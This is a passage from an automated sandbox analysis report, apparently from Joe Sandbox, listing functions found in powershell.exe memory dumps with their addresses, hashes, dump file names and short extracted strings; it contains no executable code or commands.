Instruction ID: 12b93ba09f202c0ff4e759851bb00bad735dda63cf287edf6408f260547b7bed
Opcode Fuzzy Hash: e77c9f87c939f56f6ffbeea914e12f588a8655301e43d71db8f580ead24ddd19
Instruction Fuzzy Hash: A5912A35A0DAAF4FEBA5DAA848946B47BE1EF59350B0801FAC00EC7193FD19DD06D361

Function 00007FFC3DF2AED0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98d450be3a30dbc0637cd346f42adabf8d115a19748719805a52f7c8dc957b2e
Instruction ID: 187138501df10443b81e2773da37ade6a6444ceabfeffb0efb1ecde4a274faee
Opcode Fuzzy Hash: 98d450be3a30dbc0637cd346f42adabf8d115a19748719805a52f7c8dc957b2e
Instruction Fuzzy Hash: 33411335E1DF5E4FEB99D69844C6634B6D2FF98290F5801BAC80EC3186FD29EC02D291

Function 00007FFC3DF2C4F4 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd6ce073f62cb71f47a6926bb2af52393091e80750c64915fe06200d08d6694
Instruction ID: 1f436789a79e46dc5247101be36f37d5cabe9e69402e1d8196ed82f6f88a8759
Opcode Fuzzy Hash: 5dd6ce073f62cb71f47a6926bb2af52393091e80750c64915fe06200d08d6694
Instruction Fuzzy Hash: 97410732A0CA5D4FEFA5DA9854915B97BE1EF58350B0800FBE40DC7193EE19DC4AC3A5

Function 00007FFC3DF2B168 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bef319ba08d7ed805ed1b44d60dabf34be2212b2f6dd6bfa39b498fd15be4d21
Instruction ID: 5aa922e94707594f6420c1bb33a04f9f7a073e95c5e745b1046949a214385fda
Opcode Fuzzy Hash: bef319ba08d7ed805ed1b44d60dabf34be2212b2f6dd6bfa39b498fd15be4d21
Instruction Fuzzy Hash: EE41B26590DBDE0FEB579A6808A55747FF0DF2B24470800FBC899CB1E7E9189C0AC366

Function 00007FFC3DF27B32 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90af2e0ca2e4a3501957dd6dbdc64d6cb61b1e6c0c5377dab36cfa03294fdd5
Instruction ID: a3c0d663b083706710035040937c9774ab0f500273cddf7e01093feb9208080e
Opcode Fuzzy Hash: b90af2e0ca2e4a3501957dd6dbdc64d6cb61b1e6c0c5377dab36cfa03294fdd5
Instruction Fuzzy Hash: 50313B66D0EAEF4BF7A5D2A81C951B86AE1EF49390F4800BAC04EC31D7FC0C5C06D225

Function 00007FFC3DF22AFC Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 909dcf843c4b4a8ed5601018d625035b6bc3fe04f9353fb14fdd5fbb02f38d2f
Instruction ID: 73eccf1a44212032b508f2836b2354f2d92a8b63704a790c8d2269dc2c48f7fd
Opcode Fuzzy Hash: 909dcf843c4b4a8ed5601018d625035b6bc3fe04f9353fb14fdd5fbb02f38d2f
Instruction Fuzzy Hash: 55310916D0EAAF4FFAB59A981C951B466D1DF1C391B4801BAC00EC71D3FD0CED06D265

Function 00007FFC3DE5DF68 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1389605985.00007FFC3DE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3de50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 924407663a4cd96251ccf02d34d42b246116e24379f9c05aea168f34dc11d4ee
Instruction ID: 4ab452bba3a0663e618a4f7a179aac40ffc3c7b36157dd6b040958175b2ce182
Opcode Fuzzy Hash: 924407663a4cd96251ccf02d34d42b246116e24379f9c05aea168f34dc11d4ee
Instruction Fuzzy Hash: BF312E31A1895D8FDF98EF48C445EADBBE1FFA8750F54016AE40DD3251DA34E881CB81

Function 00007FFC3DE5BA54 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1389605985.00007FFC3DE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3de50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 847795474a8ae1c31e260dc32b8bd607d842000ffddd445a96a079331ec22240
Instruction ID: 2bbc7efdce9f4eb8001f2636e1cdf1c47a1a5f94047545a458c80dad79a4d61d
Opcode Fuzzy Hash: 847795474a8ae1c31e260dc32b8bd607d842000ffddd445a96a079331ec22240
Instruction Fuzzy Hash: 1231003082866ECEFBB59F54CC0ABF936E2FF41399F400139D44D86193EA79A945DB21

Function 00007FFC3DF2C2CD Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363daa77ab028cb98845aed0e19ec041d8aba8d03d32a30f47ec8a4c8286a9a8
Instruction ID: 4bc2c683996b3d078cd68fd7a32d81184dd2abaf01bafb62ec2753e82e12b1c6
Opcode Fuzzy Hash: 363daa77ab028cb98845aed0e19ec041d8aba8d03d32a30f47ec8a4c8286a9a8
Instruction Fuzzy Hash: A8110162A0C6AD0FEB69966808411ACBAB0EF45350F4405FAE049D31C3FD286C45C796

Function 00007FFC3DF2CADD Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 505b05a99ec0f4a0a123fe52f25e131c4843048410691b76f3ed56a8360b9642
Instruction ID: d2de32288a854a9e53d3f5254cfc474eff2f6c9f5aab06f0d1440296eed0f9e0
Opcode Fuzzy Hash: 505b05a99ec0f4a0a123fe52f25e131c4843048410691b76f3ed56a8360b9642
Instruction Fuzzy Hash: FB110122A1C6AD0FEB6596680C512ACBAA0EF45351F0401FAE04D971C3FE296C49C756

Function 00007FFC3DF26B70 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1390225477.00007FFC3DF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3df20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dca780b268352a5337a2b07b84b025f3d2b32d726689d9725229cc3757e0ecf
Instruction ID: 3f66b510f43ff374e1f513829b46de2e67db2fc8be2d0de94824ee80c8bd8702
Opcode Fuzzy Hash: 7dca780b268352a5337a2b07b84b025f3d2b32d726689d9725229cc3757e0ecf
Instruction Fuzzy Hash: 1D115925A0DF9E4FD7A8D6A88CD56753BC2DF4A390B5401BEC40ECB4A6EC15A841C361

Function 00007FFC3DE53A45 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1389605985.00007FFC3DE50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DE50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffc3de50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 70bf5b5910c79e231265f90bb2e6c337da18ca6109795d5a1386f70f496af593
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: A501677111CB0C4FDB44EF0CE451AA5B7E0FB95365F10056DE58AC3655D636E881CB45

Analysis Process: powershell.exePID: 7912, Parent PID: 3964COMMON

Executed Functions

Function 07766F90 Relevance: 13.6, Strings: 10, Instructions: 1113COMMON

Download Yara Rule

Strings

tPq, xrefs: 07767280
4'q, xrefs: 077678E5
4'q, xrefs: 07767958
4'q, xrefs: 077670E9
4'q, xrefs: 07767794
4'q, xrefs: 077670F5
4'q, xrefs: 07767964
4'q, xrefs: 07767788
tPq, xrefs: 07767274
4'q, xrefs: 077678D9

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q$4'q$4'q$tPq$tPq
API String ID: 0-3075684691
Opcode ID: 4dd6ef3610aeea64cf1025770ac87f34bd6e7661f18a42643b34ad6f995c314c
Instruction ID: ed938c00f51e32c177fad6dbdd7b752798790a17e9c4cfffcd0761f9bde6808d
Opcode Fuzzy Hash: 4dd6ef3610aeea64cf1025770ac87f34bd6e7661f18a42643b34ad6f995c314c
Instruction Fuzzy Hash: 2392A7B4E04315CFDB28CB58C845BAABBB2BF85384F15C4AAD9059B745CB31DC81CB92

Function 07764020 Relevance: 9.0, Strings: 7, Instructions: 299COMMON

Download Yara Rule

Strings

4'q, xrefs: 0776413A
$q, xrefs: 077640DC
4'q, xrefs: 0776412E
$q, xrefs: 077640D0
tPq, xrefs: 077642F6
tPq, xrefs: 07764302
$q, xrefs: 07764077

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$tPq$tPq$$q$$q$$q
API String ID: 0-2432477355
Opcode ID: a4a0d787f9b0d06a5081b4be2ba96d3e5b4ea62a3be6f9f2de294606419f062c
Instruction ID: 70ba5568f07906bbc0dd8c42bafda57c593788f2409f091fe8ef419dbc8c04ad
Opcode Fuzzy Hash: a4a0d787f9b0d06a5081b4be2ba96d3e5b4ea62a3be6f9f2de294606419f062c
Instruction Fuzzy Hash: 8DA129B1A043D68FC7298B65C818666BFB1BF86250F2984EBDC44DF256C631CE45C762

Function 07768880 Relevance: 7.8, Strings: 6, Instructions: 339COMMON

Download Yara Rule

Strings

4'q, xrefs: 07768B9A
4'q, xrefs: 077689B6
4'q, xrefs: 077689AA
4'q, xrefs: 07768B1B
4'q, xrefs: 07768B0F
4'q, xrefs: 07768B8E

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q
API String ID: 0-1794337482
Opcode ID: cb2cf7310ecfb74342361c447f98821c08b246bac60401c5cfd4d7114c451755
Instruction ID: c33c926955faaffc8a9881f2d35f10c6c6af677bf7c60b16c0d596da81126356
Opcode Fuzzy Hash: cb2cf7310ecfb74342361c447f98821c08b246bac60401c5cfd4d7114c451755
Instruction Fuzzy Hash: 77D1A0B4F003059FDB18CB58C445BAEB7B2BB89344F25C429D9056F799CB72EC428B96

Function 0492D6E0 Relevance: 4.3, Strings: 3, Instructions: 522COMMON

Download Yara Rule

Strings

$q, xrefs: 0492DC5F
Hq, xrefs: 0492D7A6
$q, xrefs: 0492D8FA

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID: Hq$$q$$q
API String ID: 0-405414136
Opcode ID: 67f56b23c8feacf5ae80ab79369b4c3c84b6287d8ab0b340a6c0d09e172a056c
Instruction ID: c6b05b6ffb994bcc15c60f30c7f257c7a72e8e40cf90375e2b6a6aaabe6f1654
Opcode Fuzzy Hash: 67f56b23c8feacf5ae80ab79369b4c3c84b6287d8ab0b340a6c0d09e172a056c
Instruction Fuzzy Hash: 51229630B042248FDB25EB24D954BAEB7B6BF89305F1484ADD50AAB355CF31AD85CF81

Function 07768860 Relevance: 4.0, Strings: 3, Instructions: 275COMMON

Download Yara Rule

Strings

4'q, xrefs: 077689AA
4'q, xrefs: 07768B0F
4'q, xrefs: 07768B8E

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q
API String ID: 0-3126650252
Opcode ID: 48fefcc88067be0988b038cf75a2e27efb2a2f718f9e0360a96a5ad3e0762608
Instruction ID: 01bd4eb4896e25d018c2884f5950752bcbbbc4589e8eb3dde580afa92b41212b
Opcode Fuzzy Hash: 48fefcc88067be0988b038cf75a2e27efb2a2f718f9e0360a96a5ad3e0762608
Instruction Fuzzy Hash: 3BB1CFB4A003059FDB18CF54C844BAEBBB2BB89344F15C469D8056F799CB72EC46CB96

Function 07761AE0 Relevance: 3.9, Strings: 3, Instructions: 124COMMON

Download Yara Rule

Strings

$q, xrefs: 07761B03
$q, xrefs: 07761B3B
$q, xrefs: 07761B47

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q
API String ID: 0-3067366958
Opcode ID: 057de99298fb2019a11561408cf255a9ef59e36ce156749c5a1719526349565d
Instruction ID: 7687447541c7671997153d1b5e5326284e510864ecda0be3fc153a97ea4aaa34
Opcode Fuzzy Hash: 057de99298fb2019a11561408cf255a9ef59e36ce156749c5a1719526349565d
Instruction Fuzzy Hash: EC413DB1B0021A9FDB245B69984827EF7E5EFC6291B54847ACC09E7344EF31D901C7A5

Function 07762100 Relevance: 3.8, Strings: 3, Instructions: 94COMMON

Download Yara Rule

Strings

$q, xrefs: 0776215C
$q, xrefs: 07762112
$q, xrefs: 07762168

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q
API String ID: 0-3067366958
Opcode ID: 0a5a7b08c338a095564ebbb283c42c8260d8ee93529b4ec6a92fadbdbb4bcb98
Instruction ID: 22a848b26e2e54c87e15cfb4f78d4f30a662089d546346a1d6a1041c81546482
Opcode Fuzzy Hash: 0a5a7b08c338a095564ebbb283c42c8260d8ee93529b4ec6a92fadbdbb4bcb98
Instruction Fuzzy Hash: C12177F171830A9BE7BC566A8C44B276696BBC5691F248C3A9A05CB28ADD35C841C361

Function 07764EF8 Relevance: 3.1, Strings: 2, Instructions: 630COMMON

Download Yara Rule

Strings

tPq, xrefs: 07764F8F
tPq, xrefs: 07764F83

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: tPq$tPq
API String ID: 0-4270251778
Opcode ID: 1dee9da46121fc00e023538c0cffe3ab37fd6e72ddbe4f05390fe1081d1dba8a
Instruction ID: c8cfee014ab933b7a1f030d3555bd84ca87467356e42a2ccf8008bc3f39875c6
Opcode Fuzzy Hash: 1dee9da46121fc00e023538c0cffe3ab37fd6e72ddbe4f05390fe1081d1dba8a
Instruction Fuzzy Hash: CF427DB4B00205AFD714CB58C444BAEBBB2EF89344F24C469E9059F796CB72EC42CB95

Function 07762560 Relevance: 2.9, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

$q, xrefs: 07762C4A
$q, xrefs: 07762C3E

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 673fea8ec35d82e4394d333864923404e284746b462a29b211aa9879d75fb556
Instruction ID: e936f0dd9d04ea92e557322fa317362e1dcaf14e46961d5b12d3f536b81f6c84
Opcode Fuzzy Hash: 673fea8ec35d82e4394d333864923404e284746b462a29b211aa9879d75fb556
Instruction Fuzzy Hash: 9902C0B4B003059FD754CB58C854A6ABBB2FF89354F25C46AD8059F75ACB32EC42CB92

Function 07767A92 Relevance: 2.9, Strings: 2, Instructions: 378COMMON

Download Yara Rule

Strings

4'q, xrefs: 07767CEA
4'q, xrefs: 07767CF6

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 6c53d2c5106aff094194c77f8599304226036c314bd008b8238f8492224dbb7b
Instruction ID: d1a558346d7c7c794d28cee1dd0750c62c864e0807d9ddbc043c32671e8f1618
Opcode Fuzzy Hash: 6c53d2c5106aff094194c77f8599304226036c314bd008b8238f8492224dbb7b
Instruction Fuzzy Hash: 6BF1B674A043549FDB28DB68C840BAE77B2BB84344F11C4A9E9096F745CB76DD82CF91

Function 07761758 Relevance: 2.7, Strings: 2, Instructions: 224COMMON

Download Yara Rule

Strings

4'q, xrefs: 07761882
4'q, xrefs: 0776188E

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 289effc34975692bcfcb50eaeb49eb1b548606e5f17e8608b6cf328d989748f6
Instruction ID: 2d4a3f2711f07fc97507c519e59c289890808943fe5e8546fb40899e7c334ac4
Opcode Fuzzy Hash: 289effc34975692bcfcb50eaeb49eb1b548606e5f17e8608b6cf328d989748f6
Instruction Fuzzy Hash: DB616BB170434A8FDB245B79840D37AB7E3AFC56A0F58C47AD805CB299DA35CC42C7A2

Function 077620E5 Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

$q, xrefs: 0776215C
$q, xrefs: 07762112

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: a40d8c4649e56f45bbe0490c82f6a715e73e4f1cc31d3e9985a0d2cd0c88763d
Instruction ID: 86842a619920f0e60c95c39705e74894e09df063c895cfa1cbd8461183ce9075
Opcode Fuzzy Hash: a40d8c4649e56f45bbe0490c82f6a715e73e4f1cc31d3e9985a0d2cd0c88763d
Instruction Fuzzy Hash: 152188F170C3865FE7A906264C447623F62BFC3691F1848ABDE80CB29BD5298881C371

Function 07761A6D Relevance: 2.6, Strings: 2, Instructions: 88COMMON

Download Yara Rule

Strings

$q, xrefs: 07761B03
$q, xrefs: 07761B3B

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 02373566c819d6a852f6f7c3b05a3d40b013b417da6203aa4e39c4215d43a97b
Instruction ID: e5b4c5c7c22c74ca240d213507584dfdcc815009f56262689487e860472b064e
Opcode Fuzzy Hash: 02373566c819d6a852f6f7c3b05a3d40b013b417da6203aa4e39c4215d43a97b
Instruction Fuzzy Hash: 7E217EF2A0438F5FDB264A64580D1757B61AF83290B9D4597CC089B28AE620DC41C3A6

Function 07761ACB Relevance: 2.6, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

$q, xrefs: 07761B03
$q, xrefs: 07761B3B

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 56ae81530d0240eb1fc45b90bf1de64e1105595e896d18838671f914f598242b
Instruction ID: 4a122f387b10d9d3325a30d5643fdd380325618d301cc02753ddb212d0b66789
Opcode Fuzzy Hash: 56ae81530d0240eb1fc45b90bf1de64e1105595e896d18838671f914f598242b
Instruction Fuzzy Hash: EA213BB690421E9FCB208F68984D1B5BBF5EF87290B99855ACC0CE7209F730A944C7E5

Function 07761EE7 Relevance: 2.5, Strings: 2, Instructions: 39COMMON

Download Yara Rule

Strings

tPq, xrefs: 07761F27
tPq, xrefs: 07761F1B

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: tPq$tPq
API String ID: 0-4270251778
Opcode ID: e085dd456533d0ee95332a0117070213e8023d6c9830f97efd8a4946a08ce047
Instruction ID: 239cee0261a00d12606f249b3160f3968823a1a2b23171f3c6c7ec5f5dbdb2a4
Opcode Fuzzy Hash: e085dd456533d0ee95332a0117070213e8023d6c9830f97efd8a4946a08ce047
Instruction Fuzzy Hash: C9F0FCB2B412095BD614859498157FAF662EBC0350F98442DEE055F384CA33CD12C3D1

Function 07761739 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

4'q, xrefs: 07761882

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: f8b8574328860f5874f437edd3aa699d4f3b7eb1ae7944f62a70890db790c322
Instruction ID: 1d3d24df7e9ecd9bc9f16712d855b20bb43652429e972ca0aa43dfae35b6b4f1
Opcode Fuzzy Hash: f8b8574328860f5874f437edd3aa699d4f3b7eb1ae7944f62a70890db790c322
Instruction Fuzzy Hash: 9A31F6F4A0434B9FDB204E25804C6757BB2AF427E1B9C8476DC048B15AD735CC80C7A3

Function 07762541 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16de9d8cc950d58feb0277b22bb30c38d111f4e9b6197ae3e2a3fcb0536ebf8d
Instruction ID: 519d8559d8dc8ebd383d765332b8c6164816854972a4b212c56fcec3b3d36435
Opcode Fuzzy Hash: 16de9d8cc950d58feb0277b22bb30c38d111f4e9b6197ae3e2a3fcb0536ebf8d
Instruction Fuzzy Hash: 3CE18DB4B002059FD754CF58C844AAABBB2FF89354F24C46AEC049B75AC772EC42CB95

Function 0492AD80 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70486ecd4d1049664984356b3143f14dded911ba3edccfdf6eaaa91805c01a21
Instruction ID: 50f7c5c253b531edf3b081b875f355269c8c7bbd62c1c51c676c0e7497b29f1d
Opcode Fuzzy Hash: 70486ecd4d1049664984356b3143f14dded911ba3edccfdf6eaaa91805c01a21
Instruction Fuzzy Hash: 5FC19B31A002189FDB15DFA4D944A9DBBF6FF84314F258569E806AB369CB74FC89CB40

Function 07766B88 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9ddcce57703fcb2bdb4b3239b5b8483dfea848b75e1f496497f20a4b820f388
Instruction ID: 480e716890310eec3c4e551b612da4f901c0afd81560509f3edd3f7e3608857e
Opcode Fuzzy Hash: e9ddcce57703fcb2bdb4b3239b5b8483dfea848b75e1f496497f20a4b820f388
Instruction Fuzzy Hash: 4EB19EB4A002059FDB18CB64C444BAEB7A3FF89344F51C469E901AFB99CB32EC458B95

Function 07766B69 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b8807280afad811b56848edb0aa00f4d2d607997dcda429fd4de5a5582fb5cc
Instruction ID: fe21b8907e7463f1d7c2c43fc00d2b179006148d5cf5c2bd32f3ebaa5a7b19de
Opcode Fuzzy Hash: 3b8807280afad811b56848edb0aa00f4d2d607997dcda429fd4de5a5582fb5cc
Instruction Fuzzy Hash: 4BA1CFB4A00204AFDB14CB54C544B9EBBB2FF8A340F55C469E905AF79ACB32EC45CB91

Function 0492A9E8 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcfbf2c47bde2ba8d2a5c2f31feff620dbf4f726b2f0b1bb86c13c8a6ca8c86b
Instruction ID: b31a1e5d89283d323193cb1c4c372f355a706df986b204b66ed3181ca1e42c8e
Opcode Fuzzy Hash: bcfbf2c47bde2ba8d2a5c2f31feff620dbf4f726b2f0b1bb86c13c8a6ca8c86b
Instruction Fuzzy Hash: 3591BC31A012149FCB15DFA8D544AAEBBF2FF89310F1485B9E4459B762CB34EC8ACB50

Function 077654EF Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0046a74ed8e3b9f13a3010205420e85994f96c3f47ae8b2891d69454bf2f7068
Instruction ID: 711f6e7552381b4b2532064f7c475e09af4247e26c9f48b097eb44789922737f
Opcode Fuzzy Hash: 0046a74ed8e3b9f13a3010205420e85994f96c3f47ae8b2891d69454bf2f7068
Instruction Fuzzy Hash: 40818EB4B00201DFD714CB54C448BAABBA3EF45388F14C469ED059B39ACB72ED91DB55

Function 04922C08 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
